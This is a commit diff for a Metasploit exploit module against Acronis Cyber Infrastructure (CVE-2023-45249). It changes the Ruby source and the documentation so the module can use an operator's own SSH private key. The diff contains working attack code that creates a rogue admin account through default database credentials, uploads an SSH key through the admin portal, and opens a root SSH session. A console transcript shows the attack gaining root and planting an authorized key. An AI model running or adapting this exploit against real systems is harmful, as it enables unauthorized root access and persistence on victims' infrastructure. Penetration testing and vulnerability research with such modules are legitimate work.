Skip to content

Commit 8e62f22

Browse files
committed
fifth release with the option to use your own SSH private key
1 parent 8b197a6 commit 8e62f22

File tree

2 files changed

+87
-39
lines changed

2 files changed

+87
-39
lines changed

documentation/modules/exploit/linux/http/acronis_cyber_infra_cve_2023_45249.md

Lines changed: 73 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -53,14 +53,12 @@ This option is required and is PostgreSQL database port (default: 5432) to conne
5353
### SSHPORT
5454
This option is required and is the SSH port (default: 22) to establish a SSH session.
5555

56-
### PRIV_KEY
57-
This option is optional and allows the use of your own SSH private key.
56+
### PRIV_KEY_FILE
57+
This option is optional and allows the use of your own SSH private key file in PEM format.
58+
Generate your SSH private key with following command `ssh-keygen -t rsa -b 2048 -m PEM -f <your_priv_key>` or
59+
convert your existing SSH private key to PEM format with `ssh-keygen -p -N "" -m PEM -f /path/to/existing/private/key`
5860
If no key is provided, a private SSH key will be generated.
5961

60-
### PUB_KEY
61-
This option is optional and allows the use of your own SSH public key.
62-
If no key is provided, a public SSH key will be generated.
63-
6462
## Scenarios
6563
```msf
6664
msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > info
@@ -98,22 +96,21 @@ Check supported:
9896
Yes
9997
10098
Basic options:
101-
Name Current Setting Required Description
102-
---- --------------- -------- -----------
103-
DATABASE keystone yes The database to authenticate against
104-
DBPORT 6432 yes PostgreSQL DB port
105-
PASSWORD vstoradmin no The password for the specified username. Leave blank for a random password.
106-
PRIV_KEY no SSH Private Key
107-
PUB_KEY no SSH Public Key
108-
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
109-
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
110-
cs/using-metasploit.html
111-
RPORT 8888 yes The target port (TCP)
112-
SSHPORT 22 yes SSH port
113-
SSL true no Negotiate SSL/TLS for outgoing connections
114-
TARGETURI / yes Path to the Acronis Cyber Infra application
115-
USERNAME vstoradmin yes The username to authenticate as
116-
VHOST no HTTP server virtual host
99+
Name Current Setting Required Description
100+
---- --------------- -------- -----------
101+
DATABASE keystone yes The database to authenticate against
102+
DBPORT 6432 yes PostgreSQL DB port
103+
PASSWORD vstoradmin no The password for the specified username. Leave blank for a random password.
104+
PRIV_KEY_FILE no SSH private key file in PEM format (ssh-keygen -t rsa -b 2048 -m PEM -f <priv_key_file>)
105+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
106+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-me
107+
tasploit.html
108+
RPORT 8888 yes The target port (TCP)
109+
SSHPORT 22 yes SSH port
110+
SSL true no Negotiate SSL/TLS for outgoing connections
111+
TARGETURI / yes Path to the Acronis Cyber Infra application
112+
USERNAME vstoradmin yes The username to authenticate as
113+
VHOST no HTTP server virtual host
117114
118115
Payload information:
119116
@@ -135,7 +132,7 @@ References:
135132
https://security-advisory.acronis.com/advisories/SEC-6452
136133
https://attackerkb.com/topics/T2b62daDsL/cve-2023-45249
137134
138-
View the full module info with the info -d command
135+
View the full module info with the info -d command.
139136
```
140137
## Scenarios
141138
### Acronis Cyber Infrastructure 4.7 appliance Unix/Linux command
@@ -190,6 +187,59 @@ uid=0(root) gid=0(root) groups=0(root)
190187
uname -a
191188
Linux aci-471-53.vstoragedomain 3.10.0-1160.41.1.vz7.183.5 #1 SMP Thu Sep 23 18:26:47 MSK 2021 x86_64 x86_64 x86_64 GNU/Linux
192189
```
190+
### Acronis Cyber Infrastructure 4.7 appliance Interactive SSH using your own SSH private key file in PEM format
191+
```msf
192+
msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > ssh-keygen -t rsa -b 2048 -m PEM -f /tmp/aci_rsa
193+
[*] exec: ssh-keygen -t rsa -b 2048 -m PEM -f /tmp/aci_rsa
194+
195+
Generating public/private rsa key pair.
196+
Enter passphrase (empty for no passphrase):
197+
Enter same passphrase again:
198+
Your identification has been saved in /tmp/aci_rsa
199+
Your public key has been saved in /tmp/aci_rsa.pub
200+
The key fingerprint is:
201+
SHA256:H1Ewu7NLZdYIV4SQZPhsaGkXb/IG9fQgZEjqfKBRTIg root@cerberus
202+
The key's randomart image is:
203+
+---[RSA 2048]----+
204+
| . +o+B*+oo |
205+
| E ..oo+=+.o |
206+
| . o=++.+ o |
207+
| ==.B=oo. .|
208+
| .oSo=== . |
209+
| o Bo |
210+
| +. |
211+
| . . |
212+
| . |
213+
+----[SHA256]-----+
214+
msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set target 1
215+
target => 1
216+
msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set PRIV_KEY_FILE /tmp/aci_rsa
217+
PRIV_KEY_FILE => /tmp/aci_rsa
218+
msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set rhosts 192.168.201.5
219+
rhosts => 192.168.201.5
220+
msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > exploit
221+
222+
[*] Running automatic check ("set AutoCheck false" to disable)
223+
[+] The target appears to be vulnerable. Version 4.7.1-53
224+
[*] Creating admin user gzarzyh with password XiloxPsdto for access at the Acronis Admin Portal.
225+
[*] Saving admin credentials at the msf database.
226+
[*] Using your own SSH private key file: /tmp/aci_rsa in PEM format.
227+
[*] Saving SSH public and private key pair at the msf database.
228+
[*] Uploading SSH public key at the Acronis Admin Portal.
229+
[*] Authenticating with SSH private key.
230+
[*] Executing Interactive SSH for generic/ssh/interact
231+
[*] SSH session 1 opened (192.168.201.8:40083 -> 192.168.201.5:22) at 2024-09-20 09:40:22 +0000
232+
233+
id
234+
uid=0(root) gid=0(root) groups=0(root)
235+
uname -a
236+
Linux aci-471-53.vstoragedomain 3.10.0-1160.41.1.vz7.183.5 #1 SMP Thu Sep 23 18:26:47 MSK 2021 x86_64 x86_64 x86_64 GNU/Linux
237+
ls -l .ssh
238+
total 4
239+
-rw------- 1 root root 872 Sep 20 11:40 authorized_keys
240+
cat .ssh/authorized_keys
241+
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCauf4JO4xGHWulsoHHOwTXztTvJ4FQz92RTicFIqqHOPvR3vsXkWYJP4vE109/ZnUh64jsMqMb+x66q3+D86rts/ST4smpMjQpL2uwfrn3KHKwVmH7vMYb07q4F8M2nw4TgzYcsXONqAyxmbW0ZJ3P3CdlXXiXMvyUmy55OyVgaBnjoiE1GJxXnssCqPMkf0MaZfZqaaBk3onaKnJ4pRROHe1LEaagSM7dOHjS1F6ViVUYtcfFLQfXj4Q7WsWS5uSUy6HkxDn5PNvzUli7SDJ5aPTDqmmeDjzoVlUl7ZP4CYZlrTpZ1v0C0IuI3qlZmuHPuGaCDN7ymPsRUV71aqv3 root VSTOR-KEY-ID:1966f610-e22a-4147-bec3-4cfb945bdee7
242+
```
193243

194244
## Limitations
195245
No limitations.

modules/exploits/linux/http/acronis_cyber_infra_cve_2023_45249.rb

Lines changed: 14 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -95,8 +95,7 @@ def initialize(info = {})
9595
OptString.new('TARGETURI', [true, 'Path to the Acronis Cyber Infra application', '/']),
9696
OptPort.new('DBPORT', [true, 'PostgreSQL DB port', 6432]),
9797
OptPort.new('SSHPORT', [true, 'SSH port', 22]),
98-
OptString.new('PUB_KEY', [false, 'SSH Public Key', '']),
99-
OptString.new('PRIV_KEY', [false, 'SSH Private Key', ''])
98+
OptString.new('PRIV_KEY_FILE', [false, 'SSH private key file in PEM format (ssh-keygen -t rsa -b 2048 -m PEM -f <priv_key_file>)', ''])
10099
])
101100
register_advanced_options([
102101
OptInt.new('ConnectTimeout', [ true, 'Maximum number of seconds to establish a TCP connection', 10])
@@ -289,36 +288,35 @@ def exploit
289288
# log out from the postsgreSQL DB
290289
postgres_logout if postgres_conn
291290

292-
# create or use user provided SSH key pair
293-
if datastore['PUB_KEY'].blank? || datastore['PRIV_KEY'].blank?
291+
# create or use own SSH private key
292+
if datastore['PRIV_KEY_FILE'].blank?
294293
print_status('Creating SSH private and public key.')
295-
k = SSHKey.generate
296-
priv_key = k.private_key
297-
pub_key = "#{k.ssh_public_key} root"
294+
k = SSHKey.generate(comment: 'root')
298295
else
299-
print_status('Using user provided SSH private and public key.')
300-
priv_key = datastore['PRIV_KEY']
301-
pub_key = "#{datastore['PUB_KEY']} root"
296+
print_status("Using your own SSH private key file: #{datastore['PRIV_KEY_FILE']} in PEM format.")
297+
fail_with(Failure::NotFound, "Can not find or open SSH private key file: #{datastore['PRIV_KEY_FILE']}") unless File.file?(File.expand_path(datastore['PRIV_KEY_FILE']))
298+
f = File.read(File.expand_path(datastore['PRIV_KEY_FILE']))
299+
k = SSHKey.new(f, comment: 'root')
302300
end
303-
vprint_status(priv_key)
304-
vprint_status(pub_key)
301+
vprint_status(k.private_key)
302+
vprint_status(k.ssh_public_key)
305303

306304
# storing SSH public and private key at the msf database
307305
print_status('Saving SSH public and private key pair at the msf database.')
308-
store_valid_credential(user: 'ACI SSH public key', private: pub_key)
309-
store_valid_credential(user: 'ACI SSH private key', private: priv_key)
306+
store_valid_credential(user: 'ACI SSH public key', private: k.ssh_public_key)
307+
store_valid_credential(user: 'ACI SSH private key', private: k.private_key)
310308

311309
# log in with the new admin user credentials at the Acronis Admin Portal
312310
fail_with(Failure::NoAccess, "Failed to authenticate at the Acronis Admin Portal with #{username} and #{password}") unless aci_login(username, password)
313311

314312
# upload the public ssh key at the Acronis Admin Portal to enable root access via SSH
315313
print_status('Uploading SSH public key at the Acronis Admin Portal.')
316-
fail_with(Failure::NoAccess, 'Failed to upload SSH public key.') unless upload_sshkey(pub_key)
314+
fail_with(Failure::NoAccess, 'Failed to upload SSH public key.') unless upload_sshkey(k.ssh_public_key)
317315

318316
# login with SSH private key to establish SSH root session
319317
ssh_opts = ssh_client_defaults.merge({
320318
auth_methods: ['publickey'],
321-
key_data: [ priv_key ],
319+
key_data: [ k.private_key ],
322320
port: datastore['SSHPORT']
323321
})
324322
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

0 commit comments

Comments
 (0)